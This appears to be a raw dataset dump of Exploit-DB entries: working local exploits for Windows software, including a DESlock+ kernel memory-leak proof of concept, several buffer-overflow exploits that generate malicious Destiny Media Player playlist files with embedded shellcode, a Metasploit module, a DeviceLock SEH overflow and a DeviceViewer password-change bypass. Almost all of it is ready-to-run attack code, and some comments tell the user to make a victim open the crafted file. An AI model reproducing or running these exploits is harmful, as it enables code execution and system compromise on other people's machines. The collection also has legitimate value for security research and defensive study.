deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5141
Description: DESlock+ < 3.2.6 - 'LIST' Local Kernel Memory Leak
Type: local
Platform: windows
Date: 2008-02-18
Author: mu-b

Exploit:
/* deslock-list-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.6 local kernel mem leak POC
 * by mu-b - Fri 21 Dec 2007
 *
 * - Tested on: DLMFENC.sys 1.0.0.26
 *
 * kernel pool memory leak by continually allocating link list
 * structures and never freeing them. This is not without a sense
 * of irony in that each element must correspond to a unique
 * ProcessID (arg[0]). Thus, adding a single element incurs a
 * linear cost due to search :(. (O((n^2+n)/2) overall cost.)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  DWORD i, rlen;
  HANDLE hFile;
  BOOL result;

  printf ("DESlock+ <= 3.2.6 local kernel mem leak PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);

  for (i = 0; i <= UINT_MAX; i++)
    {
      req.flag = DLMFENC_FLAG;
      req.req_num = 0x03;
      req.arg[0] = (void *) i;

      xor_mask_req (&req);
      result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                                &req, sizeof req, &req, sizeof req, &rlen, 0);
      if (!result)
        {
          fprintf (stderr, "* DeviceIoControl failed\n");
          exit (EXIT_FAILURE);
        }

      if (!(i % 64))
        printf ("%d..", i);
    }

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-18]
Exploit-DB #7654
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (1)
Type: local
Platform: windows
Date: 2009-01-04
Author: Encrypt3d.M!nd

Exploit:
# Destiny Media Player 1.61 (lst File) Local Buffer overflow Exploit
# By:Encrypt3d.M!nd
#
# i was so stupid when i wrote the poc coz i didn't realize somethings :p
# well this is workin exploit tested on windows xp sp3
# don't double click the file,import it from the program
#
# Greetz:-=Mizo=-(thnx dude :X),L!0N,El Mariachi,MiNi SpIder,all my friends
#

chars = "A" * 2052

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164
Encoder=PexFnstenvSub http://metasploit.com

shellcode = (
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13"
"\x88\x79\x7b\x83\xeb\xfc\xe2\xf4\xef\x60\x3d\x7b\x13\x88\xf2\x3e"
"\x2f\x03\x05\x7e\x6b\x89\x96\xf0\x5c\x90\xf2\x24\x33\x89\x92\x32"
"\x98\xbc\xf2\x7a\xfd\xb9\xb9\xe2\xbf\x0c\xb9\x0f\x14\x49\xb3\x76"
"\x12\x4a\x92\x8f\x28\xdc\x5d\x7f\x66\x6d\xf2\x24\x37\x89\x92\x1d"
"\x98\x84\x32\xf0\x4c\x94\x78\x90\x98\x94\xf2\x7a\xf8\x01\x25\x5f"
"\x17\x4b\x48\xbb\x77\x03\x39\x4b\x96\x48\x01\x77\x98\xc8\x75\xf0"
"\x63\x94\xd4\xf0\x7b\x80\x92\x72\x98\x08\xc9\x7b\x13\x88\xf2\x13"
"\x2f\xd7\x48\x8d\x73\xde\xf0\x83\x90\x48\x02\x2b\x7b\x78\xf3\x7f"
"\x4c\xe0\xe1\x85\x99\x86\x2e\x84\xf4\xeb\x18\x17\x70\xa6\x1c\x03"
"\x76\x88\x79\x7b")

file=open('exp.lst','w')
file.write(chars+"\xD0\x69\x83\x7c"+"\x90"*15+shellcode)
file.close()

# milw0rm.com [2009-01-04]
Exploit-DB #7655
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (2)
Type: local
Platform: windows
Date: 2009-01-04
Author: sCORPINo

Exploit:
#!/user/bin/perl
#Destiny Media Player 1.61 Local BoF Code
#Exploit Coded by : sCORPINo
#Snoop Security Researching Committe 
#originally discovered by: Encrypt3d.M!nd

# windows/exec - 142 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# EXITFUNC=thread, CMD=calc
$shellcode =
"\x6a\x1e\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64" .
"\xfc\xb1\x5d\x83\xeb\xfc\xe2\xf4\x98\x14\xf5\x5d\x64\xfc" .
"\x3a\x18\x58\x77\xcd\x58\x1c\xfd\x5e\xd6\x2b\xe4\x3a\x02" .
"\x44\xfd\x5a\x14\xef\xc8\x3a\x5c\x8a\xcd\x71\xc4\xc8\x78" .
"\x71\x29\x63\x3d\x7b\x50\x65\x3e\x5a\xa9\x5f\xa8\x95\x59" .
"\x11\x19\x3a\x02\x40\xfd\x5a\x3b\xef\xf0\xfa\xd6\x3b\xe0" .
"\xb0\xb6\xef\xe0\x3a\x5c\x8f\x75\xed\x79\x60\x3f\xee\x6c" .
"\x92\x9c\xe7\x39\xef\xba\x81\xd6\x24\xf0\x3a\x2d\x78\x51" .
"\x3a\x35\x6c\x75\x49\xde\xa4\x96\xe1\x35\x8b\x32\x51\x3d" .
"\x0c\x64\x4f\xd7\x6a\xab\x4e\xba\x07\x9d\xdd\x3e\x64\xfc" .
"\xb1\x5d";
$nops = "\x90" x 2052;  	 #fill the buffer
$nops2 = "\x90" x 100;		 #fill the buffer more:p
$eip = "\x65\x82\xA5\x7c";	 #7CA58265 JMP ESP
$attack = $nops.$eip.$nops.$shellcode; #sandwich
$playlist="playlist.lst";    #playlist name,chage it to anything you want
intro();

open($FILE, ">$playlist");
print $FILE $attack;
close($FILE);
print "\n\n\n$playlist created beside this exploit.\n";
print "force victim to open it with Destiny Media Player 1.61\n";
print "good luck\n\n";

sub intro{
print qq(
############################################################
##        Snoop Security Researching Committe             ##
##               www.snoop-security.com                   ##
##                    sCORPINo                            ##
## Destiny Media Player 1.61 Local BoF Code               ##
## found by:                                              ##
## http://www.milw0rm.com/exploits/7652                   ##
## special tnX to:                                        ##
## Shahriyar, Adel, Alireza, Yashar and all snoop members ##
## just run and open the playlist.lst with                ##
## Destiny Media Player.then BOOM !                       ##
############################################################
);
}

# milw0rm.com [2009-01-04]
Exploit-DB #7656
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (3)
Type: local
Platform: windows
Date: 2009-01-04
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

# exploit coded by Houssamix
# poc found by aBo MoHaMeD 


print "===================================================================== \n";
print "Author : Houssamix  \n";
print "===================================================================== \n";
print "Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit \n";
print "===================================================================== \n\n";


my $overflow = "\x41" x 2052;

my $ret = "\x5D\x38\x82\x7C"; #call ESP from kernel32.dll       0x7C82385D

my $nop = "\x90" x 1;

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
"\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
"\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
"\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
"\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
"\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
"\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
"\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
"\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
"\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";


my $file="hsmx.lst";

$exploit = $overflow.$ret.$nop.$shellcode;

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;


close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-04]
Exploit-DB #7661
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (4)
Type: local
Platform: windows
Date: 2009-01-04
Author: Stack

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\n"
print " Founder: Encrypt3d.M!nd"
print " exploit & code: Stack"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends \n"
print "**************************************************************************"
          
   
buff = "\x41" * 2052
EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll
nop = "\x90" * 10 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
 "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
 "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
 "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
 "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
 "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
 "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
 "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
 "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
 "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
 "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
 "\xac\x2c\xc9\x40"
    )
exploit = buff + EIP + nop + shellcode
try:
    out_file = open("Stack.lst",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-04]
Exploit-DB #7662
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (5)
Type: local
Platform: windows
Date: 2009-01-04
Author: suN8Hclf

Exploit:
print "====================================================================="
print " Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\n"
print " Discovered by   : Encrypt3d.M!nd"
print " exploit code by : suN8Hclf"
print " Tested on       : Windows 2000 SP4 Polish"
print " Greetings to    : 0in, Gynvael Coldwind, doctor, Katharsis, SkD"
print "====================================================================="

buffer = "\x41" * 2052
NEW_EIP = "\x33\x08\x3a\x77" #call ESP from atl.dll
nops = "\x90" * 10

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
	"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
	"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
	"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
	"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
	"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
	"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
	"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
	"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
	"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
	"\xac\x2c\xc9\x40"
    )

exploit = buffer + NEW_EIP + nops + shellcode
try:
    out_file = open("open_me.lst",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nNow open open_me.lst file to exploit bug!\n")
except:
    print "WTF?"

# milw0rm.com [2009-01-04]
Exploit-DB #7651
Description: Destiny Media Player 1.61 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-01-03
Author: His0k4

Exploit:
#usage: exploit.py
#After creating the m3u file, start the program then File > Open Playlist > exploit.m3u
print "**************************************************************************"
print " Destiny Media Player 1.61 (.m3u File) Local Stack Overflow Exploit\n"
print " Founder: aBo MoHaMeD"
print " exploit & code: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
buff = "\x41" * 2052

EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll

nop = "\x90" * 10  #Blah Blah :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
	"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
	"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
	"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
	"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
	"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
	"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
	"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
	"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
	"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
	"\xac\x2c\xc9\x40"
    )

exploit = buff + EIP + nop + shellcode # too easy :p

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-03]
Exploit-DB #9321
Description: Destiny Media Player 1.61 - '.pls' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-01
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#[+] Bug : Destiny Media Player 1.61 (.pls) Universal Buffer overflow (SEH)
#[+] Author : ThE g0bL!N
#[+] Greetz : ma 3labaliche :D
#[+] Use : open the pls file directly :)
#[+] Note: His0k4 Merci jamais Raditni
##########################################################
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

my $junk="\x41" x 45224;
my $next_seh="\xEB\x06\x90\x90"; # short jump
my $seh="\xA6\x7B\x41\x00"; # pop pop ret->Destiny.exe

open(myfile,'>>exploit.pls');
print myfile $top.$junk.$next_seh.$seh.$shellcode;

# milw0rm.com [2009-08-01]
Exploit-DB #8535
Description: Destiny Media Player 1.61 - '.rdl' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-04-27
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\ A Mad From Iran

==============================================================================
	Destiny Media Player 1.61 (.rdl) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ Destiny Media Player 1.61 ]...................
	[Â»] Website:............[ http://www.pirateradio.com ]..................
	[Â»] Today:..............[ 26042009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================
    [i] Double click on malformed file.
=cut

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";
my $Joke = "G" x 4432;
my $Junk = "\x90" x 16; 
my $RA = "\x5D\x38\x82\x7C"; #Windows XP SP2
open(MYFILE,'>>radio.rdl');
print MYFILE $Joke.$RA.$Junk.$Shcode;
close(MYFILE);

# milw0rm.com [2009-04-27]
Exploit-DB #16684
Description: Destiny Media Player 1.61 - PLS .m3u Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: destinymediaplayer16.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Destiny Media Player 1.61 PLS M3U Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the Destiny Media Player 1.61.
					An attacker must send the file to victim and the victim must open the file. File-->Open Playlist
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2009-3429' ],
					[ 'OSVDB', '53249' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/7651' ],
					[ 'BID', '33091' ],
				],
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# Tested ok patrickw 20090503
					[ 'Destiny Universal', { 'Ret' => 0x00bf9d4d } ], #jmp esp Destiny.exe
					[ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 03 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'exploit_destiny.m3u']),
			], self.class)

	end

	def exploit

		filepls = rand_text_alpha_upper(2052)
		filepls << [target.ret].pack('V')
		filepls << make_nops(10)
		filepls << payload.encoded
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filepls)

	end

end
Exploit-DB #44590
Description: DeviceLock Plug and Play Auditor 5.72 - Unicode Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-05-06
Author: hyp3rlinx

Exploit:
# Exploit Title: DeviceLock Plug and Play Auditor 5.72 - Unicode Buffer Overflow (SEH)
# Date: 2018-05-04
# Exploit Author: Youssef mami
# Vendor Homepage: https://www.devicelock.com/freeware.html/
# Version: 5.72
# CVE : CVE-2018-10655

# Security Issue:

DeviceLock Plug and Play Auditor "DLPnpAuditor.exe" is vulnerable to a Unicode type of buffer overflow, when supplied a specially crafted textfile using the "scan network" from file option.
The buffer overload payload will get converted to unicode character encoding. Unicode support is used by applications for internationalization purposes allowing a consistent way to visually
represent different character sets on most systems around the world. 

e.g.

Before our buffer overflow payload was put on the stack it was expanded with 0x00 so "RRRR" transforms to Unicode representation of "00520052"
(52 is HEX for Ascii char R) containing 0's (NULL) values. Therefore, attempting to exploit the vulnerable program needs an unicode compatiable address
(address with null bytes) and using encoding methods like "alpha2" encoder tool.

Stack dump:

SEH chain of main thread
Address    SE handler
0018EE00   ntdll.771B34DD
0018FBD4   00520052
00520052   A42F0000
E5C1411F   *** CORRUPT ENTRY ***

EAX 00000000
ECX 00520052
EDX 771B34DD ntdll.771B34DD
EBX 00000000
ESP 0018EDEC
EBP 0018EE0C
ESI 00000000
EDI 00000000
EIP 00520052
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



# Exploit/POC:

1) Create POC textfile
2) Under File menu "Scan Network" choose "From file" under drop down menu.
3) Choose the exploit file select the Scan "Domain" box and run it.

#Unicode SEH Buffer Overflow
#https://www.devicelock.com/download/

PAYLOAD="A"*1036+"R"*8+"B"*56      #Control SEH
file=open("devicelock-bof.txt","w")
file.write(PAYLOAD)
file.close()

print 'DeviceLock Plug and Play Auditor v5.72 (freeware)'
print 'Exploit POC file created.'
print 'hyp3rlinx'


# Disclosure Timeline:
Vendor Notification:  April 17, 2018
No reply
Vendor Notification: April 22, 2018
No reply
May 6, 2018 : Public Disclosure
Exploit-DB #47476
Description: DeviceViewer 3.12.0.1 - Arbitrary Password Change
Type: local
Platform: windows
Date: 2019-10-09
Author: Alessandro Magnosi

Exploit:
# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7

#!/usr/bin/python

# Steps to reproduce:
#   1. Generate the payload executing the PoC
#   2. Login in the Sricam DeviceViewer application as any registered user
#   3. Go to System Tools -> Change Password
#   4. Set the old password as the malicious payload, and the new password as whatever you want
#   5. The password will be changed with the new one
#   6. To confirm, restart the application and try to login with the new password

payload = "A" * 5000

try:
	bypass = open("bypass.txt","w")
	print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
	print("### Author: Alessandro Magnosi\n")
	print("[*] Creating old password file")
	bypass.write(payload)
	bypass.close()
	print("[+] Old password file created\n")
	print("[i] When changing password, set the old password to the file contents")
	print("[i] Close the program and reopen it")
	print("[i] Log in with new password")
except:
	print("[!] Error creating the file")